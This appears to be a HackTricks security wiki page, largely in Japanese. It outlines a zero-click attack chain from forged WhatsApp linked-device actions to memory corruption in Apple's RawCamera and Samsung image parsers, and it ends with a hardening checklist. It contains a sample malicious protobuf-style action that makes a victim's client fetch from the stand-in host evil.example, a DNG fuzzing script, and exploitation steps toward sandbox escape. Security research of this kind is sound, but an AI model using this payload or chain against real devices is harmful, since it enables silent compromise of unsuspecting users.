Zero-click Messaging → Image Parser Chains
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
TL;DR
- Treat messaging app multi-device/companion protocols as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with 0 user interaction.
- Once any app can be coerced into fetching untrusted media, target the shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) with malformed files to pivot out of the sandbox.
- The DNG-based RawCamera and Samsung parser bugs discussed here are concrete examples, but the full technique is a reusable blueprint for chaining logic flaws → image parser memory corruption → full device compromise.
WhatsApp linked-device コマンドによるリモートコンテンツ読み込み
攻撃面の要約
The WhatsApp “linked devices” architecture keeps the primary phone and every companion (desktop, tablet, secondary phone) in sync via encrypted, structured protocol messages. Each message encodes:
- Device metadata(device ID、capabilities、feature flags)
- Action descriptors(例: sync chats、fetch thumbnails、render remote content)
- Arbitrary parameters(URIs、MIME ヒント、pagination keys など)
Apple クライアントでは、これらの linked-device 制御パケットを処理するハンドラが implicitly trusted とみなしており、有効なペアリングが既に行われていると仮定していたため、影響が大きいフィールド(例: resource_url、open_media、sync_snapshot)は最小限しか検証されていなかった。したがって、悪意あるコンパニオンからのメッセージは次のようになり得る:
- 電話番号で識別される任意のアカウントへルーティングされうる。
- 受信側が送信者が正当にペアリングされたデバイスであることを検証しなかったため、トランスポートスタック(Noise protocol + WhatsApp protobuf framing)を通過してしまう。
- iOS クライアントへ届くと、脆弱なコードパスが自動的にバックグラウンドで攻撃者の URL に対して HTTP(S) リクエストを発行し、隠れた WebView/media renderer でレスポンスを解析した。
監査者向け実践ワークフロー
- 合法な linked-device トラフィックをキャプチャする。 デスクトップまたは iOS クライアントにデバッガーや Frida スクリプトをアタッチし、post-decryption handler(例:
LinkedDevicesSyncHandler::processAction)をフックする。デコード済みの protobuf ペイロードをダンプして利用可能な action タイプやパラメータを把握する。 - 信頼境界を越えるフィールドを特定する。
http_url、thumbnail_uri、download_url、render_htmlといったパラメータを厳格な許可リストなしに含むアクションは、リモートコンテンツのプリミティブになり得る。 - 悪意のあるアクションを作成する。 観測した protobuf スキーマを再利用し、攻撃者が制御するフィールドのみを改変する。関連する論理構造の簡易 JSON 表現は下に示す(実際のトランスポートは protobuf/Noise だが、意味的なフィールドは一致する):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
-
Deliver to the victim. 通常リンクされたデバイスのトラフィックを転送するのと同じ WhatsApp サービス経由で細工したパケットをリプレイする(例: 改造したデスクトップクライアントや、攻撃者のアカウント鍵を再利用するカスタム Noise クライアントを使用)。CVE-2025-55177 が操作を認証済みデバイスに紐付けなかったため、被害者の iOS/macOS クライアントはそのメッセージを受け入れ、UI を表示せずに直ちに攻撃者の URL をフェッチする。
-
Instrument the fetch. 強制された HTTP(S) リクエストと内部レンダラ(WKWebView/ImageIO)を観察する。この時点で、WhatsApp 内にゼロクリック web 配信プリミティブを確立したことになる。
Weaponizing auto-decoded DNGs against RawCamera
攻撃者が WhatsApp に読み込ませる内容を制御できるようになったら、次の目的は iOS/macOS に悪意ある Digital Negative (DNG) ファイルを RawCamera フレームワークで解析させることだ。埋め込まれた <img>/CSS の URL が .dng に解決されると、WhatsApp 自体が DNG を明示的に扱っていなくてもそれはシステムのイメージパイプラインに渡され、RawCamera が呼び出される。
Triggering RawCamera from WhatsApp
- 異なるレンダーパスを網羅するため、複数の方法(例:
<img src="evil.dng">、CSS のbackground-image: url('evil.dng')、または<picture>の sources)で DNG を参照する HTML を配信する。 - ローダがサイズのヒューリスティックで早期に中止しないよう、正しい MIME (
image/x-adobe-dng) と小さいプレビューを用意する。 - iOS の media sandbox は
CGImageSourceCreateWithURL経由でファイルを RawCamera にストリーミングし、最終的に脆弱なデコーダに到達する。
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
再現されたバグは、メタデータの不整合によりバッファ割当てと実際のピクセル読み取りが同期しなくなることに依存していた。典型的な操作点は次の通り:
- Tile/strip descriptors:
TileByteCounts/StripByteCountsを現実的な値に設定しつつ、TileOffsetsを割当てられたバッファを越えるように増やす。 - Sub-IFD chains: 二次画像を
ImageWidth/ImageLengthとBitsPerSampleが矛盾するように埋め込み、RawCamera に小さいバッファを計算させつつ後段が攻撃者制御の寸法を信用するようにする。 - Opcode metadata:
OpcodeList3のエントリを操作して、行ごとの処理が攻撃者選択のインデックスで動作するようにする。
この種の破損を探索するための基本的なミューテーションハーネスは、同じ RawCamera コードが macOS/iOS/iPadOS に搭載されているため、macOS を中心に構築できる:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
RawCamera の各クラッシュは新しいプリミティブを与えます。公開された PoC は、iPhone、iPad、Mac 上の WhatsApp を確実にクラッシュさせるほど信頼性のある out-of-bounds read/write を実現しました。
0-click チェーンの構築
- Linked-device packet → タップ不要で WhatsApp に
https://evil.example/payload.htmlをフェッチさせる。 - Payload HTML →
evil.dngを静かに参照し、OS のメディアスタックによって RawCamera が確実に呼び出されることを保証する。 - Malicious DNG → 細工したタグを悪用して RawCamera の OOB を誘発し、image decoder を crash/own する。
- Post-corruption exploitation → info-leak gadgets(例: predictable heap metadata を悪用)を追加し、ROP/JOP chain を仕込んで WhatsApp sandbox を脱出し、より特権的なコンテキストへ移行する。
全工程が自動で行われるため、攻撃者は被害者の電話番号だけを必要とします。対象デバイス上には通知、バナー、プロンプトは表示されません。
Samsung vendor image parser の類似点
Samsung の bulletin(CVE-2025-21043)は、Gallery、Messages、そして間接的に WhatsApp でも使用される独自の image parsing スタックが、untrusted media 経由で到達可能な out-of-bounds write を抱えていることを確認しました。exploitation methodology は Apple のチェーンと類似しています:
- 攻撃者ファイルを Samsung の
libimagecodec/libOneUI_ImageDecoderライブラリでパースする自動プレビューのベクタ(チャットのサムネイル、通知プレビュー、共有シートなど)を特定する。 - OEM ライブラリの更新を diff するか、malformed RAW/DNG ファイルで parsers を fuzz して、RawCamera のクラッシュに類似するメモリ破損(heap metadata clobber、register control など)が見られるまで調査する。
- 既にコンテンツを自動ロードする任意のチャネル(例: 同じ linked-device primitive、WhatsApp のプレビューフェッチャー、Android の push-to-talk waveform プレビューなど)を通じて細工ファイルを配信する。
ベンダーパーサに OOB write が存在するようになれば、それを WhatsApp の auto-fetch primitive と組み合わせることで Samsung デバイス上でも別の zero-click chain が成立します。
テストとハードニングのチェックリスト
- Protocol validation: すべての linked-device アクションに対して厳格な allow-lists を強制する。fetch/render を要求するコンパニオンコマンドはデバイスのペアリング(payload の署名)を証明する必要があり、URL は allow-list または signed blob と一致すべき。
- Transport replay countermeasures: 各アクションを per-device key に紐付け、sender key が不明なパケットは protobuf 構文が正しくても拒否する。
- Media pipeline restrictions: 高レベルのアプリは承認された MIME types のみを許可し、機能が必要な場合を除き RAW/DNG を明示的に拒否すること。
- Parser fuzzing regression tests: malformed RAW/DNG ファイルのコーパスを保持し、更新後は毎回 RawCamera/vendor decoders に対して実行する。
- Crash triage automation: fuzz デバイス上で
DYLD_INSERT_LIBRARIESsanitizers や MTE をアタッチして、攻撃者より先に微妙な OOB 条件を検出する。
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


